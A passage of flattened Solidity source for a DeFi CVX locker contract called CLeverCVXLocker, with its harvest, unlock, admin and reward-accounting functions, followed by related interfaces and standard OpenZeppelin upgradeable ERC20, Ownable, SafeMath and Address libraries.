uint256 _platformFee = platformFeePercentage;
if (_platformFee > 0) {
_platformFee = (_distributeAmount * _platformFee) / FEE_DENOMINATOR;
_distributeAmount = _distributeAmount - _platformFee;
IERC20Upgradeable(CVX).safeTransfer(platform, _platformFee);
}
// 4. distribute to users
_distribute(_distributeAmount);
emit Harvest(msg.sender, _distributeAmount, _platformFee, 0);
return _amount;
}
/// @dev Process unlocked CVX in CVXLockerV2.
///
/// This function should be called every week if
/// 1. `pendingUnlocked[currentEpoch]` is nonzero.
/// 2. some CVX is unlocked in current epoch.
function processUnlockableCVX() external onlyKeeper {
// Be careful that someone may kick us out from CVXLockerV2
// `totalUnlockedGlobal` keep track the amount of CVX unlocked from CVXLockerV2
// all other CVX in this contract can be considered unlocked from CVXLockerV2 by someone else.
// 1. find extra CVX from donation or kicked out from CVXLockerV2
uint256 _extraCVX = totalCVXInPool().sub(totalUnlockedGlobal);
// 2. unlock CVX
uint256 _unlocked = IERC20Upgradeable(CVX).balanceOf(address(this));
IConvexCVXLocker(CVX_LOCKER).processExpiredLocks(false);
_unlocked = IERC20Upgradeable(CVX).balanceOf(address(this)).sub(_unlocked).add(_extraCVX);
// 3. remove user unlocked CVX
uint256 currentEpoch = block.timestamp / REWARDS_DURATION;
uint256 _pending = pendingUnlocked[currentEpoch];
if (_pending > 0) {
// check if the unlocked CVX is enough, normally this should always be true.
require(_unlocked >= _pending, "CLeverCVXLocker: insufficient unlocked CVX");
_unlocked -= _pending;
// update global info
totalUnlockedGlobal = totalUnlockedGlobal.add(_pending);
totalPendingUnlockGlobal -= _pending; // should never overflow
pendingUnlocked[currentEpoch] = 0;
}
// 4. relock
if (_unlocked > 0) {
IERC20Upgradeable(CVX).safeApprove(CVX_LOCKER, 0);
IERC20Upgradeable(CVX).safeApprove(CVX_LOCKER, _unlocked);
IConvexCVXLocker(CVX_LOCKER).lock(address(this), _unlocked, 0);
}
}
/********************************** Restricted Functions **********************************/
/// @dev delegate vlCVX voting power.
/// @param _registry The address of Snapshot Delegate Registry.
/// @param _id The id for which the delegate should be set.
/// @param _delegate The address of the delegate.
function delegate(
address _registry,
bytes32 _id,
address _delegate
) external onlyGovernorOrOwner {
ISnapshotDelegateRegistry(_registry).setDelegate(_id, _delegate);
}
/// @dev Update the address of governor.
/// @param _governor The address to be updated
function updateGovernor(address _governor) external onlyGovernorOrOwner {
require(_governor != address(0), "CLeverCVXLocker: zero governor address");
governor = _governor;
emit UpdateGovernor(_governor);
}
/// @dev Update stake percentage for CVX in this contract.
/// @param _percentage The stake percentage to be updated, multipled by 1e9.
function updateStakePercentage(uint256 _percentage) external onlyGovernorOrOwner {
require(_percentage <= FEE_DENOMINATOR, "CLeverCVXLocker: percentage too large");
stakePercentage = _percentage;
emit UpdateStakePercentage(_percentage);
}
/// @dev Update stake threshold for CVX.
/// @param _threshold The stake threshold to be updated.
function updateStakeThreshold(uint256 _threshold) external onlyGovernorOrOwner {
stakeThreshold = _threshold;
emit UpdateStakeThreshold(_threshold);
}
/// @dev Update manual swap reward token lists.
/// @param _tokens The addresses of token list.
/// @param _status The status to be updated.
function updateManualSwapRewardToken(address[] memory _tokens, bool _status) external onlyGovernorOrOwner {
for (uint256 i = 0; i < _tokens.length; i++) {
require(_tokens[i] != CVX, "CLeverCVXLocker: invalid token");
manualSwapRewardToken[_tokens[i]] = _status;
}
}
/// @dev Update the repay fee percentage.
/// @param _feePercentage - The fee percentage to update.
function updateRepayFeePercentage(uint256 _feePercentage) external onlyOwner {
require(_feePercentage <= MAX_REPAY_FEE, "AladdinCRV: fee too large");
repayFeePercentage = _feePercentage;
emit UpdateRepayFeePercentage(_feePercentage);
}
/// @dev Update the platform fee percentage.
/// @param _feePercentage - The fee percentage to update.
function updatePlatformFeePercentage(uint256 _feePercentage) external onlyOwner {
require(_feePercentage <= MAX_PLATFORM_FEE, "AladdinCRV: fee too large");
platformFeePercentage = _feePercentage;
emit UpdatePlatformFeePercentage(_feePercentage);
}
/// @dev Update the harvest bounty percentage.
/// @param _percentage - The fee percentage to update.
function updateHarvestBountyPercentage(uint256 _percentage) external onlyOwner {
require(_percentage <= MAX_HARVEST_BOUNTY, "AladdinCRV: fee too large");
harvestBountyPercentage = _percentage;
emit UpdateHarvestBountyPercentage(_percentage);
}
/// @dev Update the recipient
function updatePlatform(address _platform) external onlyOwner {
require(_platform != address(0), "AladdinCRV: zero platform address");
platform = _platform;
emit UpdatePlatform(_platform);
}
/// @dev Update the zap contract
function updateZap(address _zap) external onlyGovernorOrOwner {
require(_zap != address(0), "CLeverCVXLocker: zero zap address");
zap = _zap;
emit UpdateZap(_zap);
}
function updateReserveRate(uint256 _reserveRate) external onlyOwner {
require(_reserveRate <= FEE_DENOMINATOR, "CLeverCVXLocker: invalid reserve rate");
reserveRate = _reserveRate;
}
/// @dev Withdraw all manual swap reward tokens from the contract.
/// @param _tokens The address list of tokens to withdraw.
/// @param _recipient The address of user who will recieve the tokens.
function withdrawManualSwapRewardTokens(address[] memory _tokens, address _recipient) external onlyOwner {
for (uint256 i = 0; i < _tokens.length; i++) {
if (!manualSwapRewardToken[_tokens[i]]) continue;
uint256 _balance = IERC20Upgradeable(_tokens[i]).balanceOf(address(this));
IERC20Upgradeable(_tokens[i]).safeTransfer(_recipient, _balance);
}
}
/// @dev Update keepers.
/// @param _accounts The address list of keepers to update.
/// @param _status The status of updated keepers.
function updateKeepers(address[] memory _accounts, bool _status) external onlyGovernorOrOwner {
for (uint256 i = 0; i < _accounts.length; i++) {
isKeeper[_accounts[i]] = _status;
}
}
/********************************** Internal Functions **********************************/
/// @dev Internal function called by `deposit`, `unlock`, `withdrawUnlocked`, `repay`, `borrow` and `claim`.
/// @param _account The address of account to update reward info.
function _updateReward(address _account) internal {
UserInfo storage _info = userInfo[_account];
require(_info.lastInteractedBlock != block.number, "CLeverCVXLocker: enter the same block");
uint256 _totalDebtGlobal = totalDebtGlobal;
uint256 _totalDebt = _info.totalDebt;
uint256 _rewards = uint256(_info.rewards).add(
accRewardPerShare.sub(_info.rewardPerSharePaid).mul(_info.totalLocked) / PRECISION
);
_info.rewardPerSharePaid = uint192(accRewardPerShare); // direct cast should be safe
_info.lastInteractedBlock = uint64(block.number);
// pay debt with reward if possible
if (_totalDebt > 0) {
if (_rewards >= _totalDebt) {
_rewards -= _totalDebt;
_totalDebtGlobal -= _totalDebt;
_totalDebt = 0;
} else {
_totalDebtGlobal -= _rewards;
_totalDebt -= _rewards;
_rewards = 0;
}
}
_info.totalDebt = uint128(_totalDebt); // direct cast should be safe
_info.rewards = uint128(_rewards); // direct cast should be safe
totalDebtGlobal = _totalDebtGlobal;
}
/// @dev Internal function called by `unlock`, `withdrawUnlocked`.
/// @param _account The address of account to update pending unlock list.
function _updateUnlocked(address _account) internal {
UserInfo storage _info = userInfo[_account];
uint256 _currentEpoch = block.timestamp / REWARDS_DURATION;
uint256 _nextUnlockIndex = _info.nextUnlockIndex;
uint256 _totalUnlocked = _info.totalUnlocked;
EpochUnlockInfo[] storage _pendingUnlockList = _info.pendingUnlockList;
uint256 _unlockEpoch;
uint256 _unlockAmount;
while (_nextUnlockIndex < _pendingUnlockList.length) {
_unlockEpoch = _pendingUnlockList[_nextUnlockIndex].unlockEpoch;
_unlockAmount = _pendingUnlockList[_nextUnlockIndex].pendingUnlock;
if (_unlockEpoch <= _currentEpoch) {
_totalUnlocked = _totalUnlocked + _unlockAmount;
delete _pendingUnlockList[_nextUnlockIndex]; // clear entry to refund gas
} else {
break;
}
_nextUnlockIndex += 1;
}
_info.totalUnlocked = uint112(_totalUnlocked);
_info.nextUnlockIndex = uint32(_nextUnlockIndex);
}
/// @dev Internal function used to swap tokens to CVX.
/// @param _rewardTokens The address list of reward tokens.
/// @param _amounts The amount list of reward tokens.
/// @param _minimumOut The minimum amount of CVX should get.
/// @return The amount of CVX swapped.
function _swapToCVX(
address[] memory _rewardTokens,
uint256[] memory _amounts,
uint256 _minimumOut
) internal returns (uint256) {
uint256 _amount;
address _token;
address _zap = zap;
for (uint256 i = 0; i < _rewardTokens.length; i++) {
_token = _rewardTokens[i];
// skip manual swap token
if (manualSwapRewardToken[_token]) continue;
if (_token != CVX) {
if (_amounts[i] > 0) {
IERC20Upgradeable(_token).safeTransfer(_zap, _amounts[i]);
_amount = _amount.add(IZap(_zap).zap(_token, _amounts[i], CVX, 0));
}
} else {
_amount = _amount.add(_amounts[i]);
}
}
require(_amount >= _minimumOut, "CLeverCVXLocker: insufficient output");
return _amount;
}
/// @dev Internal function called by `harvest` and `harvestVotium`.
function _distribute(uint256 _amount) internal {
// 1. update reward info
uint256 _totalLockedGlobal = totalLockedGlobal; // gas saving
// It's ok to donate when on one is locking in this contract.
if (_totalLockedGlobal > 0) {
accRewardPerShare = accRewardPerShare.add(_amount.mul(PRECISION) / uint256(_totalLockedGlobal));
}
// 2. distribute reward CVX to Furnace
address _furnace = furnace;
IERC20Upgradeable(CVX).safeApprove(_furnace, 0);
IERC20Upgradeable(CVX).safeApprove(_furnace, _amount);
IFurnace(_furnace).distribute(address(this), _amount);
// 3. stake extra CVX to cvxRewardPool
uint256 _balanceStaked = IConvexCVXRewardPool(CVX_REWARD_POOL).balanceOf(address(this));
uint256 _toStake = _balanceStaked.add(IERC20Upgradeable(CVX).balanceOf(address(this))).mul(stakePercentage).div(
FEE_DENOMINATOR
);
if (_balanceStaked < _toStake) {
_toStake = _toStake - _balanceStaked;
if (_toStake >= stakeThreshold) {
IERC20Upgradeable(CVX).safeApprove(CVX_REWARD_POOL, 0);
IERC20Upgradeable(CVX).safeApprove(CVX_REWARD_POOL, _toStake);
IConvexCVXRewardPool(CVX_REWARD_POOL).stake(_toStake);
}
}
}
/// @dev Internal function used to help to mint clevCVX.
/// @param _amount The amount of clevCVX to mint.
/// @param _depositToFurnace Whether to deposit the minted clevCVX to furnace.
function _mintOrDeposit(uint256 _amount, bool _depositToFurnace) internal {
if (_depositToFurnace) {
address _clevCVX = clevCVX;
address _furnace = furnace;
// stake clevCVX to furnace.
ICLeverToken(_clevCVX).mint(address(this), _amount);
IERC20Upgradeable(_clevCVX).safeApprove(_furnace, 0);
IERC20Upgradeable(_clevCVX).safeApprove(_furnace, _amount);
IFurnace(_furnace).depositFor(msg.sender, _amount);
} else {
// transfer clevCVX to sender.
ICLeverToken(clevCVX).mint(msg.sender, _amount);
}
}
/// @dev Internal function to check the health of account.
/// And account is health if and only if
/// cvxBorrowed
/// cvxDeposited >= --------------
/// cvxReserveRate
/// @param _totalDeposited The amount of CVX currently deposited.
/// @param _totalDebt The amount of clevCVX currently borrowed.
/// @param _newUnlock The amount of CVX to unlock.
/// @param _newBorrow The amount of clevCVX to borrow.
function _checkAccountHealth(
uint256 _totalDeposited,
uint256 _totalDebt,
uint256 _newUnlock,
uint256 _newBorrow
) internal view {
require(
_totalDeposited.sub(_newUnlock).mul(reserveRate) >= _totalDebt.add(_newBorrow).mul(FEE_DENOMINATOR),
"CLeverCVXLocker: unlock or borrow exceeds limit"
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./IVotiumMultiMerkleStash.sol";
interface ICLeverCVXLocker {
event Deposit(address indexed _account, uint256 _amount);
event Unlock(address indexed _account, uint256 _amount);
event Withdraw(address indexed _account, uint256 _amount);
event Repay(address indexed _account, uint256 _cvxAmount, uint256 _clevCVXAmount);
event Borrow(address indexed _account, uint256 _amount);
event Claim(address indexed _account, uint256 _amount);
event Harvest(address indexed _caller, uint256 _reward, uint256 _platformFee, uint256 _harvestBounty);
function getUserInfo(address _account)
external
view
returns (
uint256 totalDeposited,
uint256 totalPendingUnlocked,
uint256 totalUnlocked,
uint256 totalBorrowed,
uint256 totalReward
);
function deposit(uint256 _amount) external;
function unlock(uint256 _amount) external;
function withdrawUnlocked() external;
function repay(uint256 _cvxAmount, uint256 _clevCVXAmount) external;
function borrow(uint256 _amount, bool _depositToFurnace) external;
function donate(uint256 _amount) external;
function harvest(address _recipient, uint256 _minimumOut) external returns (uint256);
function harvestVotium(IVotiumMultiMerkleStash.claimParam[] calldata claims, uint256 _minimumOut)
external
returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ICLeverToken is IERC20 {
function mint(address _recipient, uint256 _amount) external;
function burn(uint256 _amount) external;
function burnFrom(address _account, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IConvexCVXLocker {
struct LockedBalance {
uint112 amount;
uint112 boosted;
uint32 unlockTime;
}
function lockedBalanceOf(address _user) external view returns (uint256 amount);
// Information on a user's locked balances
function lockedBalances(address _user)
external
view
returns (
uint256 total,
uint256 unlockable,
uint256 locked,
LockedBalance[] memory lockData
);
function lock(
address _account,
uint256 _amount,
uint256 _spendRatio
) external;
function processExpiredLocks(
bool _relock,
uint256 _spendRatio,
address _withdrawTo
) external;
function processExpiredLocks(bool _relock) external;
function kickExpiredLocks(address _account) external;
function getReward(address _account, bool _stake) external;
function getReward(address _account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IConvexCVXRewardPool {
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function withdraw(uint256 _amount, bool claim) external;
function withdrawAll(bool claim) external;
function stake(uint256 _amount) external;
function stakeAll() external;
function stakeFor(address _for, uint256 _amount) external;
function getReward(
address _account,
bool _claimExtras,
bool _stake
) external;
function getReward(bool _stake) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IFurnace {
event Deposit(address indexed _account, uint256 _amount);
event Withdraw(address indexed _account, address _recipient, uint256 _amount);
event Claim(address indexed _account, address _recipient, uint256 _amount);
event Distribute(address indexed _origin, uint256 _amount);
event Harvest(address indexed _caller, uint256 _amount);
/// @dev Return the amount of clevCVX unrealised and realised of user.
/// @param _account The address of user.
/// @return unrealised The amount of clevCVX unrealised.
/// @return realised The amount of clevCVX realised and can be claimed.
function getUserInfo(address _account) external view returns (uint256 unrealised, uint256 realised);
/// @dev Deposit clevCVX in this contract to change for CVX.
/// @param _amount The amount of clevCVX to deposit.
function deposit(uint256 _amount) external;
/// @dev Deposit clevCVX in this contract to change for CVX for other user.
/// @param _account The address of user you deposit for.
/// @param _amount The amount of clevCVX to deposit.
function depositFor(address _account, uint256 _amount) external;
/// @dev Withdraw unrealised clevCVX of the caller from this contract.
/// @param _recipient The address of user who will recieve the clevCVX.
/// @param _amount The amount of clevCVX to withdraw.
function withdraw(address _recipient, uint256 _amount) external;
/// @dev Withdraw all unrealised clevCVX of the caller from this contract.
/// @param _recipient The address of user who will recieve the clevCVX.
function withdrawAll(address _recipient) external;
/// @dev Claim all realised CVX of the caller from this contract.
/// @param _recipient The address of user who will recieve the CVX.
function claim(address _recipient) external;
/// @dev Exit the contract, withdraw all unrealised clevCVX and realised CVX of the caller.
/// @param _recipient The address of user who will recieve the clevCVX and CVX.
function exit(address _recipient) external;
/// @dev Distribute CVX from `origin` to pay clevCVX debt.
/// @param _origin The address of the user who will provide CVX.
/// @param _amount The amount of CVX will be provided.
function distribute(address _origin, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface ISnapshotDelegateRegistry {
function setDelegate(bytes32 id, address delegate) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IZap {
function zap(
address _fromToken,
uint256 _amountIn,
address _toToken,
uint256 _minOut
) external payable returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
